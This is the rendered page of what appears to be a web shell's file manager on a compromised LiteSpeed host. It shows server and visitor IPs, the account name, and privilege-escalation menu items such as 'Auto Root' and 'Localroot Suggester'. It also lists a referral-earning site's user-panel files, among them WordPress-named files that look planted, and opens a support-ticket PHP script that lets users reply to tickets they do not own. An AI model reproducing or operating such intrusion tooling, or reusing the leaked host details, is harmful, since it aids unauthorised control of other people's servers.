Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 16:59
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
14.63
KB
-rw-r--r--
2025-12-26 15:26
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 16:12
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 11:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 11:57
error_log
3.62
KB
-rw-r--r--
2025-12-29 11:07
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:33
history.php
25.06
KB
-rw-r--r--
2026-01-26 17:23
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 13:08
lucky_wheel.php
30.91
KB
-rw-r--r--
2026-01-26 17:01
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 11:04
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 16:58
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 08:48
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 08:47
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 09:11
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-24 08:08
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); $page_title = 'Support'; // Handle new ticket creation if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_ticket'])) { $subject = trim($_POST['subject']); $message = trim($_POST['message']); if (empty($subject) || empty($message)) { setError("Subject and message are required"); } else { try { // Create ticket $stmt = $pdo->prepare(" INSERT INTO support_tickets (user_id, subject, message, status) VALUES (?, ?, ?, 'open') "); $stmt->execute([$_SESSION['user_id'], $subject, $message]); $ticketId = $pdo->lastInsertId(); // Add first message as reply $stmt = $pdo->prepare(" INSERT INTO ticket_replies (ticket_id, user_id, is_admin, message) VALUES (?, ?, 0, ?) "); $stmt->execute([$ticketId, $_SESSION['user_id'], $message]); setSuccess("Support ticket created successfully!"); header('Location: support.php'); exit; } catch (PDOException $e) { setError("Failed to create ticket"); } } } // Handle ticket reply if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['reply_ticket'])) { $ticketId = intval($_POST['ticket_id']); $message = trim($_POST['message']); if (empty($message)) { setError("Message is required"); } else { try { // Add reply $stmt = $pdo->prepare(" INSERT INTO ticket_replies (ticket_id, user_id, is_admin, message) VALUES (?, ?, 0, ?) "); $stmt->execute([$ticketId, $_SESSION['user_id'], $message]); // Update ticket status to open $stmt = $pdo->prepare("UPDATE support_tickets SET status = 'open' WHERE id = ?"); $stmt->execute([$ticketId]); setSuccess("Reply sent successfully!"); header('Location: support.php?ticket_id=' . $ticketId); exit; } catch (PDOException $e) { setError("Failed to send reply"); } } } // Get user's tickets $stmt = $pdo->prepare(" SELECT * FROM support_tickets WHERE user_id = ? ORDER BY created_at DESC "); $stmt->execute([$_SESSION['user_id']]); $tickets = $stmt->fetchAll(); // If viewing a specific ticket $viewingTicket = null; $ticketReplies = []; if (isset($_GET['ticket_id'])) { $ticketId = intval($_GET['ticket_id']); $stmt = $pdo->prepare("SELECT * FROM support_tickets WHERE id = ? AND user_id = ?"); $stmt->execute([$ticketId, $_SESSION['user_id']]); $viewingTicket = $stmt->fetch(); if ($viewingTicket) { $stmt = $pdo->prepare(" SELECT tr.*, u.full_name FROM ticket_replies tr LEFT JOIN users u ON tr.user_id = u.id WHERE tr.ticket_id = ? ORDER BY tr.created_at ASC "); $stmt->execute([$ticketId]); $ticketReplies = $stmt->fetchAll(); } } include 'header.php'; ?> <?php $success = getSuccess(); if ($success) { echo '<div class="alert alert-success"><i class="fas fa-check-circle"></i> ' . htmlspecialchars($success) . '</div>'; } $error = getError(); if ($error) { echo '<div class="alert alert-danger"><i class="fas fa-exclamation-circle"></i> ' . htmlspecialchars($error) . '</div>'; } ?> <?php if ($viewingTicket): ?> <!-- Viewing Ticket --> <div class="card"> <div class="card-header d-flex justify-between align-center"> <div> <i class="fas fa-ticket-alt"></i> <?php echo htmlspecialchars($viewingTicket['subject']); ?> </div> <a href="support.php" class="btn btn-sm btn-secondary"> <i class="fas fa-arrow-left"></i> Back </a> </div> <div class="card-body"> <div style="margin-bottom: 10px;"> <span class="badge <?php echo $viewingTicket['status'] === 'open' ? 'badge-success' : 'badge-danger'; ?>"> <?php echo ucfirst($viewingTicket['status']); ?> </span> <span style="color: var(--text-secondary); margin-left: 10px; font-size: 12px;"> Created: <?php echo date('M d, Y H:i', strtotime($viewingTicket['created_at'])); ?> </span> </div> <!-- Ticket Conversation --> <div style="max-height: 400px; overflow-y: auto; margin-bottom: 20px;"> <?php foreach ($ticketReplies as $reply): ?> <div style="margin-bottom: 15px; padding: 15px; background: <?php echo $reply['is_admin'] ? 'var(--dark-bg)' : 'rgba(76, 175, 80, 0.1)'; ?>; border-radius: 8px; border-left: 4px solid <?php echo $reply['is_admin'] ? 'var(--secondary-color)' : 'var(--primary-color)'; ?>;"> <div style="display: flex; justify-content: space-between; margin-bottom: 10px;"> <strong style="color: <?php echo $reply['is_admin'] ? 'var(--secondary-color)' : 'var(--primary-color)'; ?>;"> <?php echo $reply['is_admin'] ? 'Admin' : htmlspecialchars($reply['full_name']); ?> </strong> <span style="color: var(--text-secondary); font-size: 12px;"> <?php echo date('M d, Y H:i', strtotime($reply['created_at'])); ?> </span> </div> <p style="color: var(--text-secondary); margin: 0;"> <?php echo nl2br(htmlspecialchars($reply['message'])); ?> </p> </div> <?php endforeach; ?> </div> <!-- Reply Form --> <?php if ($viewingTicket['status'] === 'open'): ?> <form method="POST" action=""> <input type="hidden" name="ticket_id" value="<?php echo $viewingTicket['id']; ?>"> <div class="form-group"> <label class="form-label">Your Reply</label> <textarea name="message" class="form-control" rows="4" placeholder="Type your message..." required></textarea> </div> <button type="submit" name="reply_ticket" class="btn btn-primary btn-block"> <i class="fas fa-paper-plane"></i> Send Reply </button> </form> <?php else: ?> <div class="alert alert-info"> <i class="fas fa-info-circle"></i> This ticket is closed. You cannot reply to closed tickets. </div> <?php endif; ?> </div> </div> <?php else: ?> <!-- Create New Ticket --> <div class="card"> <div class="card-header"> <i class="fas fa-plus"></i> Create New Ticket </div> <div class="card-body"> <form method="POST" action=""> <div class="form-group"> <label class="form-label">Subject</label> <input type="text" name="subject" class="form-control" placeholder="Enter ticket subject" required> </div> <div class="form-group"> <label class="form-label">Message</label> <textarea name="message" class="form-control" rows="5" placeholder="Describe your issue or question..." required></textarea> </div> <button type="submit" name="create_ticket" class="btn btn-primary btn-block"> <i class="fas fa-paper-plane"></i> Submit Ticket </button> </form> </div> </div> <!-- My Tickets --> <div class="card"> <div class="card-header"> <i class="fas fa-list"></i> My Support Tickets </div> <div class="card-body"> <?php if (empty($tickets)): ?> <p style="color: var(--text-secondary); text-align: center;"> No support tickets yet. Create one if you need help! </p> <?php else: ?> <div class="table-responsive"> <table> <thead> <tr> <th>Subject</th> <th>Status</th> <th>Date</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($tickets as $ticket): ?> <tr> <td> <strong><?php echo htmlspecialchars($ticket['subject']); ?></strong> </td> <td> <span class="badge <?php echo $ticket['status'] === 'open' ? 'badge-success' : 'badge-danger'; ?>"> <?php echo ucfirst($ticket['status']); ?> </span> </td> <td><?php echo date('M d, Y', strtotime($ticket['created_at'])); ?></td> <td> <a href="support.php?ticket_id=<?php echo $ticket['id']; ?>" class="btn btn-sm btn-primary"> <i class="fas fa-eye"></i> View </a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> <?php endif; ?> <?php include 'footer.php'; ?>